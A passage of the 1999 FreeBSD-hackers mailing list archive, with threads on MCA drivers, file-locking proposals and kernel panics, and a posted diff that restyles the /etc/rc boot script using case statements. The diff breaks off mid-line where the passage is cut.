OAA08752; Sat, 28 Aug 1999 14:53:41 -0400 (EDT) Date: Sat, 28 Aug 1999 14:49:17 -0400 (EDT) From: "Matthew N. Dodd" To: Andy Farkas Cc: freebsd-hackers@FreeBSD.ORG, freebsd-hardware@FreeBSD.ORG Subject: Re: Its about that time of year again. (FreeBSD & MCA) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 28 Aug 1999, Andy Farkas wrote: > I have a truckload of MCA cards - scsi controllers (ibm, adaptec, > buslogic, pro-comm), ethernet (ne2000, 3com), memory boards (ibm, > other), serial controllers, XGA-2.... I'll try and give 'em all a > go... If you've got an adaptec 1640, please try http://www.jurai.net/~winter/mca/aha_mca.c Set your DMA channel to something under 7 though as I've not quite figured out a good way to intercept the resource manager calls for channels above 7. -- | Matthew N. Dodd | '78 Datsun 280Z | '75 Volvo 164E | FreeBSD/NetBSD | | winter@jurai.net | 2 x '84 Volvo 245DL | ix86,sparc,pmax | | http://www.jurai.net/~winter | This Space For Rent | ISO8802.5 4ever | To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Aug 28 12:19:16 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from hda.hda.com (hda-bicnet.bicnet.net [209.244.238.132]) by hub.freebsd.org (Postfix) with ESMTP id 0331914D08 for ; Sat, 28 Aug 1999 12:19:04 -0700 (PDT) (envelope-from dufault@hda.hda.com) Received: (from dufault@localhost) by hda.hda.com (8.8.5/8.8.5) id PAA09116; Sat, 28 Aug 1999 15:16:29 -0400 (EDT) From: Peter Dufault Message-Id: <199908281916.PAA09116@hda.hda.com> Subject: Re: locking revisited In-Reply-To: <19990828125241.G13904@freebie.lemis.com> from Greg Lehey at "Aug 28, 99 12:52:42 pm" To: grog@lemis.com (Greg Lehey) Date: Sat, 28 Aug 1999 15:16:28 -0400 (EDT) Cc: hackers@FreeBSD.org X-Mailer: ELM [version 2.4ME+ PL25 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > As a result, I argue that we should implement locking. The questions > are: how? I'd suggest three methods which can be individually enabled > via sysctls: > > - System V style. We need this for compatibility with System V. The > choice of mandatory or advisory locking depends on the file > permissions. > > - Only mandatory locking. fcntl works as before, but locks are > always mandatory, not advisory. I'm sure that this won't be > popular, at least initially, but if you don't like it, you don't > have to use it.y > > - Via separate calls to fcntl. fcntl currently has the following > command values: > > #define F_DUPFD 0 /* duplicate file descriptor */ > #define F_GETFD 1 /* get file descriptor flags */ > #define F_SETFD 2 /* set file descriptor flags */ > #define F_GETFL 3 /* get file status flags */ > #define F_SETFL 4 /* set file status flags */ > #define F_GETOWN 5 /* get SIGIO/SIGURG proc/pgrp */ > #define F_SETOWN 6 /* set SIGIO/SIGURG proc/pgrp */ > #define F_GETLK 7 /* get record locking information */ > #define F_SETLK 8 /* set record locking information */ > #define F_SETLKW 9 /* F_SETLK; wait if blocked */ > > We could add a F_SETMANDLOCK or some such. > > Any thoughts? (I'm following up only on -hackers because I personally hate discussions in -commit.) Yes - 1. Isn't vinum a device? Isn't this file-level locking irrelevant? Shouldn't all locking for maintenance be done at the device level? 2. I'll bet there are some standards, at least in development. Have you done a few searches? I have other opinions, some that I hold strongly, but since they have to do with lack of definition of boundary conditions then I won't bring them up until (2.) is answered. Peter -- Peter Dufault (dufault@hda.com) Realtime development, Machine control, HD Associates, Inc. Safety critical systems, Agency approval To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Aug 28 12:31:26 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [209.157.86.2]) by hub.freebsd.org (Postfix) with ESMTP id D3A3F156DE for ; Sat, 28 Aug 1999 12:31:15 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id MAA00634; Sat, 28 Aug 1999 12:27:53 -0700 (PDT) (envelope-from dillon) Date: Sat, 28 Aug 1999 12:27:53 -0700 (PDT) From: Matthew Dillon Message-Id: <199908281927.MAA00634@apollo.backplane.com> To: Mike Smith Cc: hackers@FreeBSD.ORG Subject: Re: Should cam_imask be part of bio_imask ? References: <199908281826.LAA07726@dingo.cdrom.com> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Oh, Tor didn't Cc hackers. Tor suggested adding the CACHETHEN bit back in the adaptec controller, undoing part of Justin's commit on the 15th (see the commitlogs for sys and search for 'CACHETHEN'). This fixed the problem! Ah, sunshine here I come! -Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Aug 28 12:43:56 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from cs.rice.edu (cs.rice.edu [128.42.1.30]) by hub.freebsd.org (Postfix) with ESMTP id 7C9D015728 for ; Sat, 28 Aug 1999 12:43:50 -0700 (PDT) (envelope-from alc@cs.rice.edu) Received: (from alc@localhost) by cs.rice.edu (8.9.0/8.9.0) id OAA28314; Sat, 28 Aug 1999 14:41:56 -0500 (CDT) Date: Sat, 28 Aug 1999 14:41:55 -0500 From: Alan Cox To: Larry Lile Cc: hackers@freebsd.org Subject: Re: Panic in pmap_remove_pages on 4.0-current Message-ID: <19990828144155.A13618@cs.rice.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.5us Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This exact problem came up last month. pmap_remove_pages is tripping over a corrupted page table entry (pte). Unfortunately, by the time the panic occurs, pmap_remove_pages has overwritten the corrupted pte with zero. Earlier this month, I added a KASSERT to detect this problem (and panic) before the corrupted pte is overwritten. This KASSERT seems to be missing from your kernel. Could you turn on assertion checking in your kernel configuration and/or update to a newer kernel. Alan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Aug 28 12:44:48 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from dt011n65.san.rr.com (dt010nb9.san.rr.com [204.210.12.185]) by hub.freebsd.org (Postfix) with ESMTP id 5C69715403; Sat, 28 Aug 1999 12:44:44 -0700 (PDT) (envelope-from Doug@gorean.org) Received: from gorean.org (master [10.0.0.2]) by dt011n65.san.rr.com (8.9.3/8.8.8) with ESMTP id MAA86195; Sat, 28 Aug 1999 12:44:43 -0700 (PDT) (envelope-from Doug@gorean.org) Message-ID: <37C83C2E.904BC997@gorean.org> Date: Sat, 28 Aug 1999 12:44:46 -0700 From: Doug Organization: Triborough Bridge & Tunnel Authority X-Mailer: Mozilla 4.61 [en] (X11; U; FreeBSD 4.0-CURRENT-0826 i386) X-Accept-Language: en MIME-Version: 1.0 To: Nik Clayton Cc: Nate Williams , freebsd-hackers@freebsd.org Subject: Re: Please review: rc file changes References: <199908271705.LAA24405@mt.sri.com> <19990828111254.A79158@catkin.nothing-going-on.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Nik Clayton wrote: > > On Fri, Aug 27, 1999 at 11:23:06AM -0700, Doug wrote: > > On Fri, 27 Aug 1999, Nate Williams wrote: > > > Sentences are supposed to have two spaces before you start the next > > > sentence. > > > > Well, that was definitely the old typographical convention, but in > > the digital age it's fallen into disfavor. It was easier to delete the > > second space to make them all consistent, but I can go with double spaces > > if that's the consensus. > > I did this change over on the FDP in the Handbook, thinking it didn't make > any difference either. > > Then I got deluged with e-mail from people telling me that lots of editors > use the double space as part of their heuristic to determine where sentences > start and end. > > And I turned it back :-) Okey dokey, I can take a hint. :) Doug To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Aug 28 12:50:47 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from sasami.jurai.net (sasami.jurai.net [63.67.141.99]) by hub.freebsd.org (Postfix) with ESMTP id 28FA614D01 for ; Sat, 28 Aug 1999 12:50:45 -0700 (PDT) (envelope-from winter@jurai.net) Received: from localhost (winter@localhost) by sasami.jurai.net (8.8.8/8.8.7) with ESMTP id PAA09434; Sat, 28 Aug 1999 15:45:46 -0400 (EDT) Date: Sat, 28 Aug 1999 15:45:44 -0400 (EDT) From: "Matthew N. Dodd" To: Kris Kirby Cc: "Daniel O'Connor" , hackers@FreeBSD.ORG Subject: Re: Are the ethernet drivers time dependent? In-Reply-To: <37C79DE0.8045C21@airnet.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 28 Aug 1999, Kris Kirby wrote: > Both. The problem is that you can't cram a signal moving at 10 Mbps > through a radio interface designed for 256K, even if it is bandwidth > limited to 256K. I'm hoping the 3C503 is ancient enough that I can slow > it down by yanking it's 20.0000 MHz crystal oscillator and feeding it a > lower speed signal. I'm going to walk them down to see just how far I > can go. After all, 2 Mbps isn't bad, it just requires a little more > work. What about ARCnet? -- | Matthew N. Dodd | '78 Datsun 280Z | '75 Volvo 164E | FreeBSD/NetBSD | | winter@jurai.net | 2 x '84 Volvo 245DL | ix86,sparc,pmax | | http://www.jurai.net/~winter | This Space For Rent | ISO8802.5 4ever | To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Aug 28 12:51:27 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from dt011n65.san.rr.com (dt010nb9.san.rr.com [204.210.12.185]) by hub.freebsd.org (Postfix) with ESMTP id 60A69156CA; Sat, 28 Aug 1999 12:51:16 -0700 (PDT) (envelope-from Doug@gorean.org) Received: from gorean.org (master [10.0.0.2]) by dt011n65.san.rr.com (8.9.3/8.8.8) with ESMTP id MAA86219; Sat, 28 Aug 1999 12:49:45 -0700 (PDT) (envelope-from Doug@gorean.org) Message-ID: <37C83D5C.615AC994@gorean.org> Date: Sat, 28 Aug 1999 12:49:48 -0700 From: Doug Organization: Triborough Bridge & Tunnel Authority X-Mailer: Mozilla 4.61 [en] (X11; U; FreeBSD 4.0-CURRENT-0826 i386) X-Accept-Language: en MIME-Version: 1.0 To: Matthew Dillon Cc: Mike Pritchard , chris@calldei.com, freebsd-hackers@FreeBSD.ORG Subject: Re: Please review: rc file changes References: <199908281045.FAA98239@mpp.pro-ns.net> <199908281738.KAA05273@apollo.backplane.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Matthew Dillon wrote: > I guess they don't teach manual typewriting classes any more :-) Actually I took that class in Jr. High School, way back in '77. It was the only good advice my Jr. High guidance counselor gave me. Doug To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Aug 28 13:32:18 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from germanium.xtalwind.net (germanium.xtalwind.net [205.160.242.5]) by hub.freebsd.org (Postfix) with ESMTP id 31C63155EC for ; Sat, 28 Aug 1999 13:32:04 -0700 (PDT) (envelope-from jack@germanium.xtalwind.net) Received: from localhost (jack@localhost) by germanium.xtalwind.net (8.9.3/8.9.3) with ESMTP id QAA71317; Sat, 28 Aug 1999 16:31:30 -0400 (EDT) Date: Sat, 28 Aug 1999 16:31:30 -0400 (EDT) From: jack To: Doug Cc: Matthew Dillon , freebsd-hackers@FreeBSD.ORG Subject: Re: Please review: rc file changes In-Reply-To: <37C83D5C.615AC994@gorean.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Today Doug wrote: > Matthew Dillon wrote: > > > I guess they don't teach manual typewriting classes any more :-) > > Actually I took that class in Jr. High School, way back in '77. It was the > only good advice my Jr. High guidance counselor gave me. > > Doug When I was in 8th grade (1964-65) you passed typing or you didn't go on to 9th grade, it was part of the district's required curriculum. I had a friend that ended up in summer school just to take typing. A single space after a period counted as two or three "incorrect characters" as I recall. -------------------------------------------------------------------------- Jack O'Neill Systems Administrator / Systems Analyst jack@germanium.xtalwind.net Crystal Wind Communications, Inc. Finger jack@germanium.xtalwind.net for my PGP key. PGP Key fingerprint = F6 C4 E6 D4 2F 15 A7 67 FD 09 E9 3C 5F CC EB CD enriched, vcard, HTML messages > /dev/null -------------------------------------------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Aug 28 14:32:26 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from dt011n65.san.rr.com (dt010nb9.san.rr.com [204.210.12.185]) by hub.freebsd.org (Postfix) with ESMTP id 025DF14E68 for ; Sat, 28 Aug 1999 14:32:16 -0700 (PDT) (envelope-from Doug@gorean.org) Received: from gorean.org (master [10.0.0.2]) by dt011n65.san.rr.com (8.9.3/8.8.8) with ESMTP id OAA86772 for ; Sat, 28 Aug 1999 14:30:20 -0700 (PDT) (envelope-from Doug@gorean.org) Message-ID: <37C854EF.6E224670@gorean.org> Date: Sat, 28 Aug 1999 14:30:23 -0700 From: Doug Organization: Triborough Bridge & Tunnel Authority X-Mailer: Mozilla 4.61 [en] (X11; U; FreeBSD 4.0-CURRENT-0826 i386) X-Accept-Language: en MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: Re: Please review: rc file changes References: <37C63094.8350A91B@gorean.org> <37C6C364.EA3769CB@gorean.org> Content-Type: multipart/mixed; boundary="------------0430664E2F58BAADC4081B90" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. --------------0430664E2F58BAADC4081B90 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Cleaned up this post a little for the final (?) version of rc.diff. Back by popular demand, double spaces after the periods! Well, partly by popular demand and partly because I think it bouys my argument for a space after the case options. :) Note the changed URL for the real file. Without further comment this is the final verion of the rc file diff, but I will submit it along with the rest when I'm done. Greetings, As previously discussed, here is a first draft of the rc* script mods. I consider the first step in this process to be Jordan's cleanup of the variable syntax. This is step 2, which most notably converts test's dealing with variables to case wherever possible. It also does the following. 1. -f -> -r wherever it makes sense 2. value ) instead of value) for case statements 3. All cases of [, test, ; then, etc. converted to: if [ blah ]; then 4. Made # Comment # commands more consistent 5. Stripped whitespace off the end of a few lines 6. Tuned up a few of the comments in the file, as well as error output. I also was more rigorous about making whitespace consisten on this pass. Removing double spaces, converting spaces to tabs, etc. The attached diff is to rc, and was generated with -u. You can view the actual file at http://gorean.org/rcfiles/rc. I would appreciate y'all reviewing these changes for style, substance, or anything else relevant to the matter at hand. My hope is that any modifications can be discussed prior to my doing the rest of the work, which I plan to tackle this weekend. There are also a few questions sprinkled into the file, comments or suggestions on those are welcome. This version of the file is tested lightly, which is to say that I booted with it after my upgrade to the most recent sources on -current tonight. Obviously more rigorous testing will be necessary before this gets committed, although the changes are extremely straightforward. Questions: 1. Under what circumstances would $early_nfs_mounts be set? The only mention of this variable that I could find is in /etc/rc, and I can't see where it would be set. 2. Does the following constitute a security hole? # Make a bounds file for msgs(1) if there isn't one already # "Delete important files with symlink" security hole? # if [ ! -f /var/msgs/bounds ]; then echo 0 > /var/msgs/bounds fi 3. Do we want to move to 'logger' instead of echo for the various little statements in the rc* files during boot? I for one would highly recommend this change, since it makes remote administration TONS easier. However the last time it came up I seem to remember it being one of those "religious" issues... I see this as step 3. of the project, and will go ahead with it after step 2. is done if there is no objection. 3. Anything else I should be looking at in this phase of the game? Doug --------------0430664E2F58BAADC4081B90 Content-Type: text/plain; charset=us-ascii; name="rc.diff" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="rc.diff" --- /usr/src/etc/rc Sat Aug 28 13:51:10 1999 +++ rc Sat Aug 28 14:08:25 1999 @@ -8,24 +8,25 @@ # and the console is the controlling terminal. # Note that almost all the user-configurable behavior is no longer in -# this file, but rather in /etc/defaults/rc.conf. Please check this file +# this file, but rather in /etc/defaults/rc.conf. Please check that file # first before contemplating any changes here. stty status '^T' # Set shell to ignore SIGINT (2), but not children; # shell catches SIGQUIT (3) and returns to single user after fsck. +# trap : 2 trap : 3 # shouldn't be needed -HOME=/; export HOME +HOME=/ PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin -export PATH +export HOME PATH # BOOTP diskless boot. We have to run the rc file early in order to # retarget various config files. # -if [ -f /etc/rc.diskless1 ]; then +if [ -r /etc/rc.diskless1 ]; then dlv=`/sbin/sysctl -n vfs.nfs.diskless_valid 2> /dev/null` if [ ${dlv:=0} != 0 ]; then . /etc/rc.diskless1 @@ -34,59 +35,68 @@ # If there is a global system configuration file, suck it in. # -if [ -f /etc/defaults/rc.conf ]; then +if [ -r /etc/defaults/rc.conf ]; then . /etc/defaults/rc.conf -elif [ -f /etc/rc.conf ]; then +elif [ -r /etc/rc.conf ]; then . /etc/rc.conf fi # Configure ccd devices. -if [ -f /etc/ccd.conf ]; then +# +if [ -r /etc/ccd.conf ]; then ccdconfig -C fi -if [ "${start_vinum}" = "YES" ]; then +case ${start_vinum} in +[Yy][Ee][Ss] ) vinum start -elif [ -n "${vinum_drives}" ]; then - vinum read ${vinum_drives} -fi + ;; +* ) + if [ -n "${vinum_drives}" ]; then + vinum read ${vinum_drives} + fi + ;; +esac swapon -a -if [ "$1" = "autoboot" ]; then +case $1 in +autoboot ) echo Automatic reboot in progress... fsck -p case $? in - 0) + 0 ) ;; - 2) + 2 ) exit 1 ;; - 4) + 4 ) reboot echo "reboot failed... help!" exit 1 ;; - 8) + 8 ) echo "Automatic file system check failed... help!" exit 1 ;; - 12) + 12 ) echo "Reboot interrupted" exit 1 ;; - 130) + 130 ) # interrupt before catcher installed exit 1 ;; - *) + * ) echo "Unknown error in reboot" exit 1 ;; esac -else + ;; +* ) echo Skipping disk checks ... -fi + ;; +esac set -T trap "echo 'Reboot interrupted'; exit 1" 3 @@ -94,35 +104,49 @@ # root normally must be read/write, but if this is a BOOTP NFS # diskless boot it does not have to be. # - -if [ "${root_rw_mount}" != "NO" ]; then +case ${root_rw_mount} in +[Nn][Oo] ) + ;; +* ) mount -u -o rw / -fi + ;; +esac -if [ $? != 0 ]; then - echo "Filesystem mount failed, startup aborted" +case $? in +0 ) + ;; +* ) + echo "Mounting root filesystem rw failed, startup aborted" exit 1 -fi + ;; +esac umount -a >/dev/null 2>&1 -if [ "${early_nfs_mounts}" != "YES" ]; then - mount -a -t nonfs -else +# Where/how would this get set? +# +case ${early_nfs_mounts} in +[Yy][Ee][Ss] ) mount -a -fi -if [ $? != 0 ]; then - echo "Filesystem mount failed, startup aborted" + ;; +* ) + mount -a -t nonfs + ;; +esac + +case $? in +0 ) + ;; +* ) + echo "Mounting /etc/fstab filesystems failed, startup aborted" exit 1 -fi + ;; +esac # Run custom disk mounting function here # - -if [ -n "${diskless_mount}" ]; then - if [ -f "${diskless_mount}" ]; then +if [ -n "${diskless_mount}" -a -r "${diskless_mount}" ]; then sh ${diskless_mount} - fi fi adjkerntz -i @@ -148,46 +172,60 @@ fi # Add additional swapfile, if configured. -if [ "${swapfile}" != "NO" -a -w "${swapfile}" -a -b /dev/vn0b ]; then - echo "Adding ${swapfile} as additional swap." - vnconfig /dev/vn0b ${swapfile} && swapon /dev/vn0b -fi +# +case ${swapfile} in +[Nn][Oo] ) + ;; +* ) + if [ -w "${swapfile}" -a -b /dev/vn0b ]; then + echo "Adding ${swapfile} as additional swap." + vnconfig /dev/vn0b ${swapfile} && swapon /dev/vn0b + fi + ;; +esac -# set sysctl variables early as we can -if [ -f /etc/rc.sysctl ]; then +# Set sysctl variables as early as we can +# +if [ -r /etc/rc.sysctl ]; then . /etc/rc.sysctl fi -# configure serial devices -if [ -f /etc/rc.serial ]; then +# Configure serial devices +# +if [ -r /etc/rc.serial ]; then . /etc/rc.serial fi -# start up PC-card configuration -if [ -f /etc/rc.pccard ]; then +# Start up PC-card configuration +# +if [ -r /etc/rc.pccard ]; then . /etc/rc.pccard fi -# start up the initial network configuration. -if [ -f /etc/rc.network ]; then +# Start up the initial network configuration. +# +if [ -r /etc/rc.network ]; then . /etc/rc.network # We only need to do this once. network_pass1 fi +# Retest for early_nfs here? +# echo -n "Mounting NFS file systems" mount -a -t nfs echo . # Whack the pty perms back into shape. +# chflags 0 /dev/tty[pqrsPQRS]* chmod 666 /dev/tty[pqrsPQRS]* chown root:wheel /dev/tty[pqrsPQRS]* -# clean up left-over files +# Clean up left-over files +# clean_var # If it hasn't already been done rm /var/run/clean_var -# # Clearing /tmp at boot-time seems to have a long tradition. It doesn't # help in any way for long-living systems, and it might accidentally # clobber files you would rather like to have preserved after a crash @@ -195,19 +233,20 @@ # # See also the example of another cleanup policy in /etc/periodic/daily. # -if [ "${clear_tmp_enable}" = "YES" ]; then +case ${clear_tmp_enable} in +[Yy][Ee][Ss] ) echo clearing /tmp - # prune quickly with one rm, then use find to clean up /tmp/[lq]* # (not needed with mfs /tmp, but doesn't hurt there...) (cd /tmp && rm -rf [a-km-pr-zA-Z]* && - find -d . ! -name . ! -name lost+found ! -name quota.user \ - ! -name quota.group -exec rm -rf -- {} \;) - -fi + find -d . ! -name . ! -name lost+found ! -name quota.user \ + ! -name quota.group -exec rm -rf -- {} \;) + ;; +esac -# Remove X lock files, since they will prevent you from restarting X11 +# Remove X lock files, since they will prevent you from restarting X11 # after a system crash. +# rm -f /tmp/.X*-lock /tmp/.X11-unix/* # snapshot any kernel -c changes back to disk here @@ -217,78 +256,97 @@ # start system logging and name service (named needs to start before syslogd # if you don't have a /etc/resolv.conf) # -if [ "${syslogd_enable}" = "YES" ]; then +case ${syslogd_enable} in +[Yy][Ee][Ss] ) # Transitional symlink (for the next couple of years :) until all - # binaries had a chance to move towards /var/run/log. + # binaries have had a chance to move towards /var/run/log. if [ ! -h /dev/log ] ; then # might complain for r/o root f/s ln -sf /var/run/log /dev/log fi rm -f /var/run/log - echo -n ' syslogd'; syslogd ${syslogd_flags} -fi + echo -n ' syslogd'; syslogd ${syslogd_flags} + ;; +esac + echo '.' # enable dumpdev so that savecore can see it # /var/crash should be a directory or a symbolic link # to the crash directory if core dumps are to be saved. -if [ "${dumpdev}" != "NO" -a -e ${dumpdev} -a -d /var/crash ]; then - dumpon ${dumpdev} - echo -n checking for core dump... - savecore /var/crash -fi +# +case ${dumpdev} in +[Nn][Oo] ) + ;; +* ) + if [ -e ${dumpdev} -a -d /var/crash ]; then + dumpon ${dumpdev} + echo -n checking for core dump... + savecore /var/crash + fi + ;; +esac if [ -n "${network_pass1_done}" ]; then network_pass2 fi # Enable/Check the quotas (must be after ypbind if using NIS) -if [ "${enable_quotas}" = "YES" ]; then +# +case ${enable_quotas} in +[Yy][Ee][Ss] ) + case ${check_quotas} in + [Yy][Ee][Ss] ) + echo -n 'checking quotas:' + quotacheck -a + echo ' done.' + ;; + esac - # Only check quotas if they have been previously enabled, and requested - if [ "${check_quotas}" = "YES" ]; then - echo -n 'checking quotas:' - quotacheck -a - echo ' done.' - fi - - echo -n 'enabling quotas:' - quotaon -a - echo ' done.' -fi + echo -n 'enabling quotas:' + quotaon -a + echo ' done.' + ;; +esac if [ -n "${network_pass2_done}" ]; then network_pass3 fi -# build ps databases -kvm_mkdb +# Build ps databases +# +kvm_mkdb dev_mkdb -# check the password temp/lock file -if [ -f /etc/ptmp ] -then +# Check the password temp/lock file +# +if [ -e /etc/ptmp ]; then logger -s -p auth.err \ "password file may be incorrect -- /etc/ptmp exists" fi -if [ "${accounting_enable}" = "YES" -a -d /var/account ]; then - echo 'turning on accounting' - if [ ! -e /var/account/acct ]; then - touch /var/account/acct +case ${accounting_enable} in +[Yy][Ee][Ss] ) + if [ -d /var/account ]; then + echo 'turning on accounting' + if [ ! -e /var/account/acct ]; then + touch /var/account/acct + fi + accton /var/account/acct fi - accton /var/account/acct -fi + ;; +esac # Make shared lib searching a little faster. Leave /usr/lib first if you # add your own entries or you may come to grief. +# if [ -x /sbin/ldconfig ]; then if [ "`/usr/bin/objformat`" = "elf" ]; then _LDC=/usr/lib for i in ${ldconfig_paths}; do - if test -d ${i}; then + if [ -d ${i} ]; then _LDC="${_LDC} ${i}" fi done @@ -302,7 +360,7 @@ : ${ldconfig_paths_aout=${ldconfig_paths}} _LDC=/usr/lib/aout for i in ${ldconfig_paths_aout}; do - if test -d ${i}; then + if [ -d ${i} ]; then _LDC="${_LDC} ${i}" fi done @@ -314,47 +372,65 @@ # Now start up miscellaneous daemons that don't belong anywhere else # echo -n starting standard daemons: -if [ "${inetd_enable}" != "NO" ]; then +case ${inetd_enable} in +[Nn][Oo] ) + ;; +* ) echo -n ' inetd'; inetd ${inetd_flags} -fi + ;; +esac -if [ "${cron_enable}" != "NO" ]; then +case ${cron_enable} in +[Nn][Oo] ) + ;; +* ) echo -n ' cron'; cron -fi + ;; +esac -if [ "${lpd_enable}" = "YES" ]; then - echo -n ' printer'; ${lpd_program} ${lpd_flags} -fi - -if [ "${sendmail_enable}" = "YES" -a -r /etc/sendmail.cf ]; then - echo -n ' sendmail'; /usr/sbin/sendmail ${sendmail_flags} -fi +case ${lpd_enable} in +[Yy][Ee][Ss] ) + echo -n ' printer'; ${lpd_program} ${lpd_flags} + ;; +esac + +case ${sendmail_enable} in +[Yy][Ee][Ss] ) + if [ -r /etc/sendmail.cf ]; then + echo -n ' sendmail'; /usr/sbin/sendmail ${sendmail_flags} + fi + ;; +esac -if [ "${usbd_enable}" = "YES" ]; then +case ${usbd_enable} in +[Yy][Ee][Ss] ) echo -n ' usbd'; /usr/sbin/usbd ${usbd_flags} -fi + ;; +esac echo '.' -# configure implementation specific stuff +# Configure implementation specific stuff +# arch=`uname -m` -if [ -f /etc/rc.${arch} ]; then +if [ -r /etc/rc.${arch} ]; then . /etc/rc.${arch} fi # Recover vi editor files. +# vibackup=`echo /var/tmp/vi.recover/vi.*` if [ "${vibackup}" != '/var/tmp/vi.recover/vi.*' ]; then echo 'Recovering vi editor sessions' for i in ${vibackup}; do # Only test files that are readable. - if test ! -r ${i}; then + if [ ! -r ${i} ]; then continue fi # Unmodified nvi editor backup files either have the # execute bit set or are zero length. Delete them. - if test -x ${i} -o ! -s ${i}; then + if [ -x ${i} -o ! -s ${i} ]; then rm -f ${i} fi done @@ -365,7 +441,7 @@ if [ "${virecovery}" != "/var/tmp/vi.recover/recover.*" ]; then for i in ${virecovery}; do # Only test files that are readable. - if test ! -r ${i}; then + if [ ! -r ${i} ]; then continue fi @@ -373,7 +449,7 @@ # corrupted, or that have no corresponding backup file. # Else send mail to the user. recfile=`awk '/^X-vi-recover-path:/{print $2}' < ${i}` - if test -n "${recfile}" -a -s "${recfile}"; then + if [ -n "${recfile}" -a -s "${recfile}" ]; then sendmail -t < ${i} else rm -f ${i} @@ -382,26 +458,40 @@ fi fi -# make a bounds file for msgs(1) if there isn't one already +# Make a bounds file for msgs(1) if there isn't one already +# "Delete important files with symlink" security hole? +# if [ ! -f /var/msgs/bounds ]; then echo 0 > /var/msgs/bounds fi -# for each valid dir in $local_startup, search for init scripts matching *.sh -if [ "${local_startup}" != "NO" ]; then +# For each valid dir in $local_startup, search for init scripts matching *.sh +# +case ${local_startup} in +[Nn][Oo] ) + ;; +* ) echo -n 'Local package initialization:' for dir in ${local_startup}; do - [ -d ${dir} ] && for script in ${dir}/*.sh; do - [ -x ${script} ] && \ + if [ -d ${dir} ]; then + for script in ${dir}/*.sh; do + if [ -x ${script} ]; then (set -T ; trap 'exit 1' 2 ; ${script} start) - done + fi + done + fi done echo . -fi + ;; +esac -if [ "${update_motd}" != "NO" ]; then +case ${update_motd} in +[Nn][Oo] ) + ;; +* ) T=`mktemp /tmp/_motd.XXXXXX` - if [ $? -eq 0 ]; then + case $? in + 0 ) uname -v | sed -e 's,^\([^#]*\) #\(.* [1-2][0-9][0-9][0-9]\).*/\([^\]*\) $,\1 (\3) #\2,' > ${T} awk '{if (NR == 1) {if ($1 == "FreeBSD") {next} else {print "\n"$0}} else {print}}' < /etc/motd >> ${T} cmp -s ${T} /etc/motd || { @@ -409,11 +499,16 @@ chmod 644 /etc/motd } rm -f ${T} - fi -fi + ;; + esac + ;; +esac -# Run rc.devfs if present to customize devfs -[ -f /etc/rc.devfs ] && sh /etc/rc.devfs +# Run rc.devfs if readable to customize devfs +# +if [ -r /etc/rc.devfs ]; then + sh /etc/rc.devfs +fi # Do traditional (but rather obsolete) rc.local file if it exists. If you # use this file and want to make it programmatic, source /etc/defaults/rc.conf @@ -421,27 +516,31 @@ # shown below. Please do not put local extensions into /etc/rc itself. # Use /etc/rc.local # -# ---- rc.local ---- -# if [ -f /etc/defaults/rc.conf ]; then -# . /etc/defaults/rc.conf -# fi -# -# ... additional startup conditionals ... -# ---- rc.local ---- -# -if [ -f /etc/rc.local ]; then +# ---- rc.local ---- +# if [ -r /etc/defaults/rc.conf ]; then +# . /etc/defaults/rc.conf +# fi +# +# ... additional startup conditionals ... +# ---- rc.local ---- +# +if [ -r /etc/rc.local ]; then echo -n 'starting local daemons:' - sh /etc/rc.local + sh 